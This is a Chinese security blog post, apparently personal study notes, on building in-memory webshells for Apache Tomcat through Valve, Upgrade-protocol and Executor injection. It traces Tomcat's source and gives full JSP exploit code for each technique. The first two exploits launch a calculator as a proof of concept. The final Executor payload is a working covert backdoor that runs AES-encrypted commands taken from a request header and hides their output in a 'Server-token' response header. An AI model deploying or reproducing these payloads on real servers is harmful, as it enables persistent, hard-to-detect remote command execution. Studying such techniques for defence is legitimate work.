其实前面的传统web应用内存马也是tomcat这部分的,因为它基于tomcat进行分析不过问题不大,别的中间件应该也是有这些基本组件的。
Tomcat-Valve内存马
valve就是前面文章中说过的阀门,也就是pipeline(管道)机制,想了解得更加细致一点可以看看这篇文章:https://www.cnblogs.com/coldridgeValley/p/5816414.html,也可以看前文提到的总结大全文章。
这里放一张Valve的运行机制图

原理分析
经过前面的学习,现在分析起来还是比较简单的,这里就不自己配一个valve了,因为valve属于容器,需要在server.xml或者context.xml那里配置,看看文章就行,或者像文章里直接用springboot来搭建。
Pipeline定义对应的接口是Pipeline,他的实现类是StandardPipeline,Valve定义对应接口Valve,他的抽象实现类是ValveBase,然后四个容器本身有的阀门为StandardEngineValve,StandardHostValve,StandardContextValve,StandardWrapperValve。
这里直接看源码分析

我们在访问filter的时候可以从调用栈看到很多的valve,我们可以去看一下这些wrapperValve

可以看到继承的是ValveBase这个类,这个类是一个抽象类,然后它又实现了Valve接口,看一下Valve接口有什么,直接copy一下文章的内容,因为他加了注释
package org.apache.catalina;
import java.io.IOException; import javax.servlet.ServletException; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response;
public interface Valve { public Valve getNext(); public void setNext(Valve valve); public void backgroundProcess(); public void invoke(Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported(); }
|
然后我们可以看一下每一级的Valve是怎么调用的

在Host调用Context的

在Context调用Wrapper的
然后我们重新下断点从context.getPipeline开始看,利用点从这里开始,因为我们好获取的就是context

这里会走到父类的ContainerBase的getPipeline方法,ContainerBase是所有容器的抽象父类

然后我们去看看这个pipeline

是一个StandardPipeline类,也就是我们前面说过的Pipeline的实现类

看看Pipeline的接口方法

可以看到有addVavle方法,那么StandardPipeline就有相应的实现方法

那我们打内存马的思路就出来了
我们只需要利用context.getPipeline然后addVavle进去一个我们自己写的恶意valve即可
内存马编写
exp
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Pipeline pipeline = standardContext.getPipeline(); pipeline.addValve(new Valve() { @Override public Valve getNext() { return null; }
@Override public void setNext(Valve valve) {
}
@Override public void backgroundProcess() {
}
@Override public void invoke(Request request, Response response) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); }
@Override public boolean isAsyncSupported() { return false; } }); %>
</body> </html>
|
然后就能白屏弹计算器


在这篇文章看到一个更简单的获取standardContext的方法:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Valve%E5%9E%8B/
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext();
|
Tomcat-Upgrade内存马
原理分析
这里参考文章:https://mp.weixin.qq.com/s/RuP8cfjUXnLVJezBBBqsYw
放一张文章的连接器图

该内存马就是在到达Container之前的利用,因为可能会由于Filter的过滤或者反代导致我们找不到路径,导致我们的利用Container内组件的内存马无法使用
首先抽象类AbstractProcessorLight的process方法中,会根据当前SocketWrapperBase
的状态进行响应,在OPEN_READ
状态时,会调用对应的Processor
的service方法进行处理

这里Http请求调用的就是Http11Processor#service,然后它里面有处理Upgrade的逻辑

这里的protocol是Http11NioProtocol,看一下他的getUpgradeProtocol方法

这里走到的是父类的方法,可以看到就是返回一个UpgradeProtocol,httUpgradeProtocols是一个hashMap;获取了upgradeProtocol之后,它下面还调用了他的accept方法
欸那这里内存马的思路就出来了,和之前的也很类似
首先这个UpgradeProtocol是一个接口

那么我们只要构造一个恶意的UpgradeProtocol的实现类,添加进我们前面的提到的httpUpgradeProtocols里面即可
那么现在就是要找这个httpUpgradeProtocols怎么获取,这里先跟文章看看httpUpgradeProtocols是哪里被赋值的

在AbstractHttp11Protocol#init方法里面对upgradeProtocols进行了遍历,然后调用了configureUpgradeProtocol方法

然后该方法upgradeProtocol添加到hashMap中
upgradeProtocols是在tomcat启动的时候进行初始化
内存马编写
第一步先找到Http11NioProtocol,我们可以在request.request.connector.protocolHandler中找到


然后httpUpgradeProtocols属性就在里面,我们需要用反射去获取,我看了一下没有直接get的方法
第二步就是编写恶意的UpgradeProtocol了
exp
<%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Connector" %> <%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %> <%@ page import="org.apache.coyote.UpgradeProtocol" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.coyote.Processor" %> <%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %> <%@ page import="org.apache.coyote.Adapter" %> <%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %> <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% RequestFacade rf = (RequestFacade) request; Field requestField = RequestFacade.class.getDeclaredField("request"); requestField.setAccessible(true); Request request1 = (Request) requestField.get(rf);
Field connector = Request.class.getDeclaredField("connector"); connector.setAccessible(true); Connector realConnector = (Connector) connector.get(request1);
Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler"); protocolHandlerField.setAccessible(true); AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null; Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols"); upgradeProtocolsField.setAccessible(true); upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler); UpgradeProtocol upgradeProtocol = new UpgradeProtocol() { @Override public String getHttpUpgradeName(boolean isSSLEnabled) { return ""; }
@Override public byte[] getAlpnIdentifier() { return new byte[0]; }
@Override public String getAlpnName() { return ""; }
@Override public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) { return null; }
@Override public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { return null; }
@Override public boolean accept(org.apache.coyote.Request request) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } return true; } }; upgradeProtocols.put("clown",upgradeProtocol); %>
</body> </html>
|
然后访问的时候带上upgrade
Upgrade: clown Connection: Upgrade
|


成功弹计算器
Tomcat-Executor内存马
参考文章:https://mp.weixin.qq.com/s/cU2s8D2BcJHTc7IuXO-1UQ
执行流程分析
这里临时插入重新分析一下Connector的流程,因为有点乱,导致我后面看Executor内存马会有点混乱
服务的启动时
这里就说一下各个类的初始化的顺序,从StandardService的初始化方法开始

图只是参考,具体方法不一定对,因为是别人画的图,可能tomcat版本不一样方法名会有差异,这里按照的是我自己的版本分析
StandardService#initInternal

这里执行了图中的三个init方法,重点看init方法,这里有executor.init()方法,但是此时executors数组为空所以没有执行,应该是在后面有请求的时候放入
这个connector是Connector类,然后init去到了父类LifecycleBase的init方法

然后再调用initInternal方法回到Connector

然后调用Http11NioProtocol#setAdapter设置一个adapter
然后往下调用了protocolHandler#init()方法

然后又走到父类AbstractHttp11Protocol的init方法

然后又掉用父类的AbstractProtocol的init方法

里面又调用NioEndpoint的init方法
然后又是走到父类AbstractJsseEndpoint的init方法

然后又调用父类的AbstractEndpoint的init方法

这里的bind方法就是调用NioEndpoint的bind方法来起一个socket服务监听端口了

默认的acceptCount是100,然后这就是大概的流程
顺便提一下,一开始的connector是有两个的,如下:

接受请求后的分析
这里就分析到Executor的位置,因为这是临时插入的下面已经写好了懒得动了😢
前面文章说到,接受了请求之后会传递给setSocketOptions方法

然后这里获取了Poller注册了channel

然后这个Poller也是实现了Runnable接口的,那后面就会走到他的run方法里面,我们看一下

然后processKey里面又会走到一个processSocket方法

然后就会走到我们要重点关注的executor.execute方法

大概就是这样,但是调试的时候有时候流程还是会变得很怪,尤其是中间跳到Executor那一块,调的并不是很明白
原理分析
参考文章:Executor内存马的实现 - 先知社区 (aliyun.com)
这里又引用文章中connector的结构图:

connector就分为ProtocolHandler和Adapter,ProtocolHandler就用来处理请求,Adapter就是connector和container的桥梁,用于将处理后的请求传递给container
有关于ProtocolHandler的分类在前面的内存马也了解了一点,文章中又做了一个导图来分类更加清晰,也放一下

这里关注Http11NioProtocol的实现
Endpoint是ProtocolHandler的组成之一,而NioEndpoint是Http11NioProtocl中的实现。
Endpoint五大组件:
- LimitLatch:连接控制器,负责控制最大的连接数
- Acceptor:负责接收新的连接,然后返回一个Channel对象给Poller
- Poller:可以将其看成是NIO中Selector,负责监控Channel的状态
- SocketProcessor:可以看成是一个被封装的任务类
- Executor:Tomcat自己扩展的线程池,用来执行任务类
重点看Executor的过程

我们这里在AbstractEndPoint#processSocket方法处打断点,可以看到他这里创建了一个Executor,然后下一步execute了一个线程任务
在Tomcat中Executor由Service维护,因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池,相关组件( 如Endpoint)会自动创建线程池,此时,线程池不再共享。
跟进去execute方法看看


所以知道逻辑后和前面一样,继承对应的类然后将恶意代码重写进方法里面
这里的Executor类是ThreadPoolExecutor类

该类继承的源头就是Executor接口

文章中是继承了ThreadPoolExecutor类然后重写了execute方法,然后通过AbstractEndPoint的setExecutor方法将原来的executor替换为我们的恶意类即可

替换Executor
那要怎么替换executor呢,那照例最好也是从request看能不能找到AbstractEndPoint对象,恰好我们能找到这样的路径
request(RequestFacade)–>request(Request)–>connector(Connector)–>protocolHandler(Http11NioProtocol)–>endpoint(NioEndpoint)–>acceptors(AbstractEndpoint)
然后也是和前面一样反射获取然后调用setExecutor方法即可
回显问题
现在我们虽然可以替换了,但是数据还无法回显出来,因为我们的ServletRequest还没有封装,需要到后面的Processor阶段才行,我们当前还在EndPoint阶段
那就需要我们能够挖掘出哪个对象里面存放着Request对象,我们需要挖出一条链子,然后我们往Request对象上封装我们的命令结果,比如将结果添加到请求头上回显出来
挖掘参考这篇文章,属实是学到了:https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
里面有一个对象搜索工具,可以很方便的完成对request对象的搜索:https://github.com/c0ny1/java-object-searcher
这个工具只有源码,我使用的时候是先用maven的install指令导出jar包到本地仓库,然后再通过pom文件来引入
然后根据文档用下面代码搜索request
package org.clown.servletshell;
import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.ArrayList; import java.util.List;
@WebServlet("/test") public class Test extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("request").build()); List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); searcher.setIs_debug(true); searcher.setMax_search_depth(20); searcher.setReport_save_path("D:\\CTF\\Java\\JavaCode\\ServletShell"); searcher.searchObject(); } }
|

这里给出了很多的链子,我们Ctrl+F去搜索**request =**找一下能利用的,文章中找的是这条链子

里面有个NioEndpoint,刚好是我们能获取到的,我们在这里下断点然后step over去调试

打完断点之后我们就到堆栈的Thread的位置开始顺着链子找

最终我们可以找到request
然后再往里找,可以找到一个inputBuffer,里面存放着我们的GET内容

可以将字节数组view as string,然后查看即可,现在我们就可以做到将命令放入request的请求头中,下一步就是要将其作为response的header传出
这里response对象和request在同一级下,都在connections里面

这样response我们也有了,提前将结果封装进response即可,现在就来编写内存马
内存马编写
留个坑先,分析得好累也还没明白,别人的内存马exp
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %> <%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %> <%@ page import="java.util.concurrent.TimeUnit" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.concurrent.BlockingQueue" %> <%@ page import="java.util.concurrent.ThreadFactory" %> <%@ page import="java.nio.ByteBuffer" %> <%@ page import="java.util.ArrayList" %> <%@ page import="org.apache.coyote.RequestInfo" %> <%@ page import="org.apache.coyote.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="java.nio.charset.StandardCharsets" %> <%@ page import="java.util.concurrent.RejectedExecutionHandler" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%! public static final String DEFAULT_SECRET_KEY = "blueblueblueblue"; private static final String AES = "AES"; private static final byte[] KEY_VI = "blueblueblueblue".getBytes(); private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding"; private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder(); private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();
public static String decode(String key, String content) { try { javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));
byte[] byteContent = base64Decoder.decode(content); byte[] byteDecode = cipher.doFinal(byteContent); return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8); } catch (Exception e) { e.printStackTrace(); } return null; }
public static String encode(String key, String content) { try { javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI)); byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8); byte[] byteAES = cipher.doFinal(byteEncode); return base64Encoder.encodeToString(byteAES); } catch (Exception e) { e.printStackTrace(); } return null; }
public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try {
declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException | IllegalAccessException e) { } clazz = clazz.getSuperclass(); } return null; }
public Object getStandardService() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = this.getField(thread, "target"); Object jioEndPoint = null; try { jioEndPoint = getField(target, "this$0"); } catch (Exception e) { } if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); } catch (Exception e) { new Object(); } } else { return jioEndPoint; } }
} return new Object(); }
public class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); }
public String getRequest() { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try {
Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer"); String a = new String(heapByteBuffer.array(), "UTF-8");
if (a.indexOf("blue0") > -1) { System.out.println(a.indexOf("blue0")); System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1); String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1);
b = decode(DEFAULT_SECRET_KEY, b);
return b; }
} catch (Exception var11) { System.out.println(var11); continue; }
} } } } } catch (Exception ignored) { } return new String(); }
public void getResponse(byte[] res) { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try { ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors"); for (Object tmp_object : objects) { RequestInfo request = (RequestInfo) tmp_object; Response response = (Response) getField(getField(request, "req"), "response"); response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY,new String(res, "UTF-8")));
} } catch (Exception var11) { continue; }
} } } } } catch (Exception ignored) { } }
@Override public void execute(Runnable command) {
String cmd = getRequest(); if (cmd.length() > 1) { try { Runtime rt = Runtime.getRuntime(); Process process = rt.exec(cmd); java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = ""; String tmp = ""; while ((tmp = stdInput.readLine()) != null) { s += tmp; } if (s != "") { byte[] res = s.getBytes(StandardCharsets.UTF_8); getResponse(res); }
} catch (IOException e) { e.printStackTrace(); } }
this.execute(command, 0L, TimeUnit.MILLISECONDS); }
}
%>
<% NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor"); threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler()); nioEndpoint.setExecutor(exe); %>
|